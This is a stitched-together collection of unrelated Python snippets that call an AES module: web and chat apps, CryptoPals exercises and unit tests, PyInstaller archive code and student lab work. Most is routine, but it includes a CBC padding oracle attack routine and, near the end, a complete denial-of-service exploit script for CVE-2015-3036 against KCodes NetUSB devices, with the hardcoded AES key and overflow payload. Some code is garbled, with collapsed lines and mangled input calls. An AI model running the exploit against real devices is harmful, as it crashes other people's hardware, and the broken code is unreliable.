def en_store(en_path, item, bitarray, key): """将加密信息存储到文件中""" fieldname = ['Keyword', 'BloomFilter', 'FIDS'] if not os.path.isfile(en_path): with open(en_path, 'w', newline='') as f: wr = csv.DictWriter(f, fieldnames=fieldname) wr.writeheader() with open(en_path, 'a', newline='') as file: writer = csv.DictWriter(file, fieldnames=fieldname) en_key = AES.encrypt(item['Keyword'], key) en_FID = AES.encrypt(item['FIDS'], key) writer.writerow({ 'Keyword': en_key, 'BloomFilter': bitarray, 'FIDS': en_FID }) # if __name__ == '__main__': # key = os.urandom(16) # with open('D:\\毕设项目\\明文索引表.csv', 'r') as f: # reader = csv.DictReader(f) # for item in reader: # kw_list = item['Keywords'].split(',') # filter = BloomFilter(capacity=100) # for kw in kw_list: # fuzzy_set = build_fuzzy_keyword_set(kw) # en_fuzzy_set = kw_encrypt(fuzzy_set, key) # add_to_filter(en_fuzzy_set, filter) # bitarray = base64.b64encode(filter.bitarray.tobytes()).decode('ascii') # en_store(item, bitarray, key)
def main(): for texts in plains: texts = iv + texts cipher = AES.cbc_encrypt(texts, key, iv) blocks = AES.get_blocks(cipher) break_cipher(blocks)
def decryptor(): DecryptBTN.config(state="disabled") public_key = publicKeyOfSenderEntry.get() private_key = privateKeyOfRecieverEntry.get() directory = outputDecDirEntry.get() filename = outputDecFileEntry.get() AES.decrypt(filename,directory,public_key,private_key)
def sendText(self, message): print(message) mess = [] server_address = (self.ip, portrec) # Encode the message and turn it back to text mess, padding = AES.encrypt_bytes(bytes(message, encoding="utf-8")) mess = base64.b64encode(mess) mess = mess.decode('utf-8') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(server_address) for i in range(len(mess)): try: # Send data data = json.dumps({ "type": "t", "text": mess[i], "parts": len(mess), "part": i, "cipher": AES.Get_BlockType() }) print('sending {!r}' + data) sock.send(data.encode()) finally: print('fin') print('closing socket') sock.close()
def encrypt(): if request.method=='POST': f=request.files['userfile'] img_path="./static/{}".format(f.filename) #.static/images.jpg f.save(img_path) caption=IC_Flask.caption_this_image(img_path) caption_path=img_path[:-4] caption_path+='.txt' with open(caption_path, "w") as f: f.write(caption) enc_img=AES.convertFile(img_path, 1) enc_caption=AES.convertFile(caption_path, 1) result_dic={ 'image': enc_img, 'caption': enc_caption } session['enc_dic']=result_dic return render_template("index.html", your_result=result_dic)
def solve_block(s_block, a_block): IM = b'\x00' * 16 padding = 0 for i in reversed(range(16)): padding += 1 a = a_block a = setup_ablock(a, IM, i, padding, 16) sols = [] for b in range(1, 255): a = idxBytes(a, i, b) cnew = AES.union_blocks([a, s_block]) if validate_decryption(cnew): sols.append(b) #IM = idxBytes(IM, i, padding ^ b) if len(sols) == 1: IM = idxBytes(IM, i, padding ^ sols[0]) else: for b in sols: a = a_block a = idxBytes(a, i, b) a = idxBytes(a, i - 1, b) cnew = AES.union_blocks([a, s_block]) if validate_decryption(cnew): IM = idxBytes(IM, i, padding ^ b) if IM[i] == 0: IM = idxBytes(IM, i, padding) return AES.XORBlocks(IM, a_block)
def test_Challenge7_AESECB_on_moredata(self): key = b"YELLOW SUBMARINE" dat = CryptoPals.BewareTheRanger() dat = bytes(dat,'utf8') enc1 = AES.EncryptBlocksECB(dat,key) dec1 = AES.DecryptBlocksECB(enc1,key) self.assertEqual(dat,dec1)
def propagateChangesKeyPositions(): key = 0x2b7e151628aed2a6abf7158809cf4f3c aesv = aes.AES(key) m = 0x1597C4EF331CC28B7E6D1B2EB3EA3B95 c = aesv.encrypt(m) binc = asBinString(c) posChanging = {} for i in range(128): keyi = key ^ (1 << i) aesv = aes.AES(keyi) ci = aesv.encrypt(m) binci = asBinString(ci) pos = 0 for bit in binci: if (bit != binc[pos]): if pos in posChanging: posChanging[pos] += 1 else: posChanging[pos] = 1 pos += 1 width = 0.5 plt.figure(figsize=(10, 12)) plt.ylabel("Frecuency") plt.xlabel("Bins of positions changing") plt.title("Number of propagated bits changed on key bit") plt.bar(posChanging.keys(), posChanging.values(), width, color='g') plt.show()
def generate(filename,count): # datsource = BewareTheRanger() datsource = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" datmiddle = bytes(datsource,'utf8') f = open(filename,'wb') for t in range(count): print(t) key = RandomBytes(16) iv = RandomBytes(16) datbefore = RandomBytes(random.randint(5,10)) datafter = RandomBytes(random.randint(5,10)) dat = datbefore+datmiddle+datafter mode = AESMode(random.randint(1,2)) if (mode==AESMode.CBC): enc = AES.EncryptBlocksCBC(dat,key,iv) else: enc = AES.EncryptBlocksECB(dat,key) aes = AESInstance() aes.instance = t aes.key = key aes.iv = iv aes.mode = mode aes.enc = enc aes.lenBefore = len(datbefore) aes.lenAfter = len(datafter) persist(f,aes) f.close()
def encrypt(file, save_as, schema, base_path): if schema == 'AES': pickle_in = open(base_path + 'en-de/aes.p', 'rb') passwd = pickle.load(pickle_in) pickle_in.close() AES.encrypt_AES(file, passwd, save_as) elif schema == 'RSA': RSA.encrypt_RSA(file, save_as, base_path) elif schema == 'DES': pickle_in = open(base_path + 'en-de/des.p', 'rb') passwd = pickle.load(pickle_in) pickle_in.close() DES.encrypt_DES(file, passwd, save_as) elif schema == 'BF': pickle_in = open(base_path + 'en-de/bf.p', 'rb') #print(base_path) passwd = pickle.load(pickle_in) pickle_in.close() bf.encrypt_bf(file, passwd, save_as) else: print('pending') sys.exit(2)
def main(): select = input("Enter E for Encoding D for Decoding :") if select == 'E': if os.path.exists("out.txt"): os.remove("out.txt") if os.path.exists("pls.txt.enc"): os.remove("pls.txt.enc") if os.path.exists("pls.txt"): os.remove("pls.txt") if os.path.exists("images/out1.png"): os.remove("images/out1.png") if os.path.exists("images/in1.png"): secretMessage = input("Enter the secret message :") passwordText = input("Password :"******"pls.txt"): os.remove("pls.txt") else : print("Image is not Present") if select == 'D': if os.path.exists("pls.txt.enc"): decodedText = lsb.LsbDecoding() print(decodedText) password = input("Enter the password :"******"Final message :", finalMessage) else : print("PLS file is not present !")
def main(): infile = 'message.txt' img_file = 'output.png' outfile = 'out_message.txt' # with open('message.txt') as S: # print("Plaintext message:", S.read()) # print('Encoding...') start = time.time() TtIED.encode(infile, img_file) AES.encrypt_image(img_file) end = time.time() # print('Encrypting...') # print('Encryption time: ', (end - start) * 1000) # print('Decrypting...') start = time.time() AES.decrypt_image(img_file + '.enc') TtIED.decode(img_file, outfile) end = time.time() # print('Decoding...') # print('Decryption time: ', (end - start) * 1000) # with open('out_message.txt') as S: # print("Decrypted message:", S.read()) # time.sleep(10000) process = psutil.Process(os.getpid()) print("Memory in MB:", process.memory_info().rss / 1024**2)
def encryptor(): EncryptBTN.config(state="disabled") public_key = publicKeyOfRecieverEntry.get() private_key = privateKeyOfSenderEntry.get() directory = inputEncDirEntry.get() filename = inputEncFileEntry.get() AES.encrypt(filename,directory,public_key,private_key)
def receiver(): enc_dic={} if 'enc_dic' in session: enc_dic = session['enc_dic'] enc_img=enc_dic['image'] enc_caption=enc_dic['caption'] # print(enc_img) # print(enc_caption) dec_img=AES.convertFile(enc_img, 2) dec_caption=AES.convertFile(enc_caption, 2) caption="" with open(dec_caption, "r") as f: caption = f.read() result_dic={ 'image': dec_img, 'caption': caption } return render_template("receiver.html", your_result=result_dic)
def handle_client(client): # Takes client socket as argument. """Handles a single client connection.""" name = client.recv(BUFSIZ) name = AES.decrypt(key, name).decode("utf-8") welcome = '\nWelcome %s! If you ever want to quit, type {quit} to exit.' % name message = welcome.encode('UTF-8') ciphertext = AES.encrypt(key, message) client.send(ciphertext) # msg = "%s has joined the chat!" % name #broadcast(bytes(msg, "utf8")) clients[client] = name while True: message = client.recv(BUFSIZ) message = AES.decrypt(key, message).decode("utf-8") if message != "{quit}": broadcast(message, name + ": ") else: client.close() del clients[client] if bool(clients) == False: SERVER.close() break
def get_ciphertext(in_file, ecb_key): # Convert input base64 to byte array enc_bytes = b64.decode_file(in_file) # Decrypt ECB file plaintext = AES.ECB_decrypt(ecb_key, enc_bytes) # Encrypt with CTR return AES.CTR_encrypt(key, plaintext, nonce)
def test_C10_CanEncryptAESCBC(self): randkey = b'0123456789ABCDEF' dat = CryptoPals.BewareTheRanger() dat = bytes(dat, 'utf8') iv = b'\x00' * 16 enc1 = AES.EncryptBlocksCBC(dat, randkey, iv) dec1 = AES.DecryptBlocksCBC(enc1, randkey, iv) self.assertEqual(dat, dec1)
def __init__(self, key): self.encrypted_text = '' self.decrypted_text = '' self.key = key key_expansion = AESKeyExpansion(key) key_expansion.RunGen() self.expanded_key = key_expansion.GetExpandedKey() self.AES_encrypter = AES(self.expanded_key)
def test_C9_Pad4Block16(self): s = b"YELLOW SUBMARINE" padded = AES.PadPKCS7(s, 20) self.assertEqual(padded, b"YELLOW SUBMARINE\x04\x04\x04\x04") padded = AES.PadPKCS7(s, 16) self.assertEqual( padded, b"YELLOW SUBMARINE\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10" )
def sendhomepage(clientsocket, keycv): req_recv = recvmsg(clientsocket) download_request = (AES.decrypt(req_recv, keycv)).decode() encrypted_text = "" if (download_request == "DownloadHome"): html_text = prepareHtml() encrypted_text = AES.encrypt(html_text, keycv) return encrypted_text
def random_encryption(plaintext): plaintext = bytearray(os.urandom(randint(0,30))) + plaintext + bytearray(os.urandom(randint(0,30))) if (randint(0,1) == 1): # CBC ciphertext = AES.aes_128_cbc_enc(plaintext, random_aes_key(), random_aes_key()) return ciphertext, 'CBC' else: # ECB ciphertext = AES.aes_128_ecb_enc(plaintext, random_aes_key()) return ciphertext, 'ECB'
def Challenge16_enc_string(s): middle = s.replace(";","") middle = middle.replace("=","") plaintext = "comment1=cooking%20MCs;userdata=" + middle + ";comment2=%20like%20a%20pound%20of%20bacon" plaintext = bytes(plaintext,'utf8') plaintext = AES.PadPKCS7(plaintext,16) iv = b'\x00'*16 key = challenge16key enc = AES.EncryptBlocksCBC(plaintext,key,iv); return enc
def test__cipher(self): aes = AES(4, "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00") inp = strToWordArray("32 43 f6 a8 88 5a 30 8d 31 31 98 a2 e0 37 07 34") key = strToWordArray("2b 7e 15 16 28 ae d2 a6 ab f7 15 88 09 cf 4f 3c") w = key_expansion(key, 4, 10) cipher = aes._cipher(inp, w) print(cipher) assert cipher.hex() == "3925841d02dc09fbdc118597196a0b32"
def encryption_oracle(input): pad1 = utils.random_bytes(randomPadLen()) pad2 = utils.random_bytes(randomPadLen()) input = pad1 + input + pad2 if (utils.random_bool()): print('Performing CBC') return ('CBC', AES.CBC_encrypt(AES.randomKey(), input, AES.randomIV())) else: print('Performing ECB') return ('ECB', AES.ECB_encrypt(AES.randomKey(), input))
def test__decipher(self): aes = AES(4, "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00") cipher = strToWordArrayDense("69c4e0d86a7b0430d8cdb78070b4c55a") key = strToWordArray("00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f") dw = eq_rev_key_expansion(key, 4, 10) msg = aes._decipher(cipher, dw) assert wordArrayToStr(msg) == "00112233445566778899aabbccddeeff"
def encrypt(): file = request.args.get('filename') pwd = open('crypt//asd.txt').read() print(pwd) result = True try: AES.encrypt('static//files//' + file, pwd) except Exception as e: print(e) result = False return jsonify({'success': result})
def test_Challenge7_AES_KeyExpansion(self): key = b"Thats my Kung Fu" correct_answer = bytes.fromhex("E2 32 FC F1 91 12 91 88 B1 59 E4 E6 D6 79 A2 93".replace(" ","")) answer = AES.KeyExpansion(key,1) self.assertEqual(b"BCDA",AES.RollBytes(b"ABCD")) self.assertEqual(bytes.fromhex("B75A9D85"),AES.SBox( bytes.fromhex("20467567"))) self.assertEqual(bytes.fromhex("B65A9D85"),AES.AddRound( bytes.fromhex("B75A9D85"),1)) self.assertEqual(answer,correct_answer) AES.ShowState(answer)
def closeDb(): global conn global key global dbname global dbname_crypted conn.commit() conn.close() print "Databased closed" print "Encrypting database...." AES.encrypt_file(key, dbname, dbname_crypted, 16) Popen(['rm', dbname])
def encryption_oracle(s, key): prob = rand.random(1) out = b'' ans = '' if prob > .5: out = AES.ecb_encrypt(s, key) ans = 'ecb' else: out = AES.cbc_encrypt(s, key) ans = 'cbc' return out, ans
def main(): paddings = [ b'ICE ICE BABY\x04\x04\x04\x04', b'ICE ICE BABY\x05\x05\x05\x05', b'ICE ICE BABY\x01\x02\x03\x04' ] for p in paddings: try: AES.verifyUnpadPKCS7(p) print(str(p) + " is correctly padded") except Exception as error: print(str(p) + " is incorrectly padded")
def extract(self, name): """Get the contents of an entry. NAME is an entry name. Return the tuple (ispkg, contents). For non-Python resoures, ispkg is meaningless (and 0). Used by the import mechanism.""" if type(name) == type(''): ndx = self.toc.find(name) if ndx == -1: return None else: ndx = name (dpos, dlen, ulen, flag, typcd, nm) = self.toc.get(ndx) self.lib.seek(self.pkgstart+dpos) rslt = self.lib.read(dlen) if flag == 2: global AES import AES key = rslt[:32] # Note: keep this in sync with bootloader's code rslt = AES.new(key, AES.MODE_CFB, "\0"*AES.block_size).decrypt(rslt[32:]) if flag == 1 or flag == 2: rslt = zlib.decompress(rslt) if typcd == 'M': return (1, rslt) return (0, rslt)
def start(self): #requistar Stream DNSSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print 'Conectou no DNS' DNSSock.sendto('viewer', DNS_addr) stream_list, lixo = DNSSock.recvfrom(2048) print 'Lista de Streamers' print stream_list if self.stream_name == False: self.stream_name = raw_input("Qual o nome da stream? ") a = raw_input("Possui alguma key? key_path / n ") if a != 'n': self.key = open(a,'r') self.hide_str = True ## Pegando IP do streamer escolhido stream_IP = self.retiraIP(stream_list,self.stream_name) stream_addr = (stream_IP, 9000) print stream_addr DNSSock.close() ##Avisando ao streamer que esta vivo ola = "Novo Viewer" if self.hide_str: ola = AES.encryptData(self.key, ola, CIPHER_MODE) self.strSock.sendto(ola, stream_addr)
def decrypt(): injson = None; if (request.headers['Content-Type'] == 'application/json'): injson = json.dumps(request.json); injson = json.loads(injson); else: return abort(415); data = injson['data']; decrypted_data = AES.decrypt(data); return jsonify(data=decrypted_data);
def add(self, entry): """ Add an ENTRY to the CArchive. ENTRY must have: entry[0] is name (under which it will be saved). entry[1] is fullpathname of the file. entry[2] is a flag for it's storage format (0==uncompressed, 1==compressed) entry[3] is the entry's type code. Version 5: If the type code is 'o': entry[0] is the runtime option eg: v (meaning verbose imports) u (menaing unbuffered) W arg (warning option arg) s (meaning do site.py processing. """ (nm, pathnm, flag, typcd) = entry[:4] # FIXME Could we make the version 5 the default one? # Version 5 - allow type 'o' = runtime option. try: if typcd in ('o', 'd'): s = '' flag = 0 elif typcd == 's': # If it's a source code file, add \0 terminator as it will be # executed as-is by the bootloader. s = open(pathnm, 'rU').read() s = s + '\n\0' else: s = open(pathnm, 'rb').read() except IOError: print "Cannot find ('%s', '%s', %s, '%s')" % (nm, pathnm, flag, typcd) raise ulen = len(s) assert flag in range(3) if flag == 1 or flag == 2: s = zlib.compress(s, self.LEVEL) if flag == 2: global AES import AES import Crypt key = Crypt.gen_random_key(32) # Note: keep this in sync with bootloader's code s = key + AES.new(key, AES.MODE_CFB, "\0" * AES.block_size).encrypt(s) dlen = len(s) where = self.lib.tell() if typcd == 'm': if pathnm.find('.__init__.py') > -1: typcd = 'M' self.toc.add(where, dlen, ulen, flag, typcd, nm) self.lib.write(s)
def extract(self, name): (ispkg, pos, lngth) = self.toc.get(name, (0, None, 0)) if pos is None: return None self.lib.seek(self.start + pos) obj = self.lib.read(lngth) if self.crypted: if self.key is None: raise ImportError('decryption key not found') obj = AES.new(self.key, AES.MODE_CFB, self._iv(name)).decrypt(obj) try: obj = zlib.decompress(obj) except zlib.error: if not self.crypted: raise raise ImportError('invalid decryption key') try: co = marshal.loads(obj) except EOFError: raise ImportError("PYZ entry '%s' failed to unmarshal" % name) return ispkg, co
def _traces_under_key(self, key, n): print("-- Finding traces under for trace %d under key %016x" % (self.counter, key)) self.counter += 1 return map(lambda(p): AES.get_trace(p, key, n), self._plaintexts)
#Author: Fionn Mcguire #Student Number: C13316356 #Assignment: Advanced Security Lab 3 (DES) import AES obj = AES.new('This is a key456', AES.MODE_ECB) message = "The answer is no" ciphertext = obj.encrypt(message) obj2 = AES.new('This is a key456', AES.MODE_ECB) obj2.decrypt(ciphertext)
def receive(self): data = self.strSock.recvfrom(1024) if self.hide_str: data[0] = AES.decryptData(self.key, data[0], CIPHER_MODE) return data[0]
def decrypt(toDecrypt,key): print('webappIDE.py:decrypt():toDecrypt: ' +toDecrypt) decrypter = AES.new(key,AES.MODE_CBC,1) decryption = decrypter.decrypt(toDecrypt) print('webappIDE.py:decrypt():decryption: ' +decryption) return decryption
def encrypt(toEncrypt,key): print('webappIDE.py:encrypt():toEncrypt: '+toEncrypt) encrypter = AES.new(key,AES.MODE_CBC,1) encryption = encrypter.encrypt(toEncrypt) print('weappIDE.py:encrypt():encryption: '+encryption) return encryption
def __init__(self, key, mode, IV): AES.__init__(self, key, mode, IV, "pycrypto") self.context = Crypto.Cipher.AES.new(key, mode, IV)
#!/usr/bin/env python# -*- coding: utf-8 -*- import socketimport sysimport randomimport stringimport timeimport structfrom Crypto.Cipher import AES #pip install pycrypto DOS_BYTES = 128 #BoFTIMEOUT = 5RECV_SIZE = 16PORT_DEFAULT = 20005 AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc" print "#"print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"print "# CVE-2015-3036"print "# Found by: Stefan Viehbck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"print "# Exploit author: Adrin Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"print "#"print "" if len(sys.argv) >= 2: try: target = sys.argv[1] try: port = int(sys.argv[2]) except Exception as detail: port = PORT_DEFAULT #Inicializacin de la conexin. init = "\x56\x05" #Datos aleatorios para el handshake randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE)) #Nombre del equipo con 128 carcteres para provocar DoS. computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES)) #Longitud del nombre del equipo - "\x80\x00\x00\x00" lengthComputerName = struct.pack("i", DOS_BYTES); #Sync - "\x07\x00\x00\x00" syncOK = struct.pack("i", 7); #Finalizacin de la conexin. end = "\x01" encryption_suite = AES.new(AESKey, AES.MODE_ECB, "") randomDataCrypt1 = encryption_suite.encrypt(randomData) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(TIMEOUT) print "Conectando:", target,":",port sock.connect((target, port)) print "Conectado" print "----------------" print "Inicializando:", init.encode("hex") sock.send(init) print "Random data para cifrar por el servidor:", randomData.encode("hex") sock.send(randomData) print "----------------" result = sock.recv(RECV_SIZE) print "Random data cifrados por el servidor:", result.encode("hex") print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex") if (randomDataCrypt1 == result): print "Handshake OK" randomData = sock.recv(RECV_SIZE) print "Random data a cifrar por el cliente:", randomData.encode("hex") randomDataCrypt2 = encryption_suite.encrypt(randomData) print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex") print "----------------" sock.send(randomDataCrypt2) print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex") sock.send(lengthComputerName) print "Nombre del host a parear:", computerName.encode("hex") sock.send(computerName) print "----------------" print "Sync: ", syncOK.encode("hex") sock.send(syncOK) if (sock.recv(RECV_SIZE) == syncOK): print "Sync ok" sock.send(end) try: #Esperamos unos segundos antes de conectar time.sleep(TIMEOUT) #Comprobamos si el dispositivo sigue vivo... sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(TIMEOUT) sock.connect((target, port)) print "No vulnerable" except Exception as detail: print "Vulnerable, exploit OK" else: print 'Sync error.' except Exception as detail: print "Error de comunicacin:", detailelse: print "Usage:", sys.argv[0], "target [port]"
import hashlib import random def GenerageKey(): import random import struct import hashlib seeds = random.random() m = hashlib.md5() m.update(str(seeds)) ret1 = m.digest() seeds = random.random() m.update(str(seeds)) ret2 = m.digest() ret = struct.pack("%ds%ds"%(len(ret1),len(ret2)),ret1,ret2) return ret print (len(GenerageKey())) key = GenerageKey() text = GenerageKey() obj = AES.new(key) cryp = obj.encrypt(text) after = obj.decrypt(cryp) if after == text: print ("success")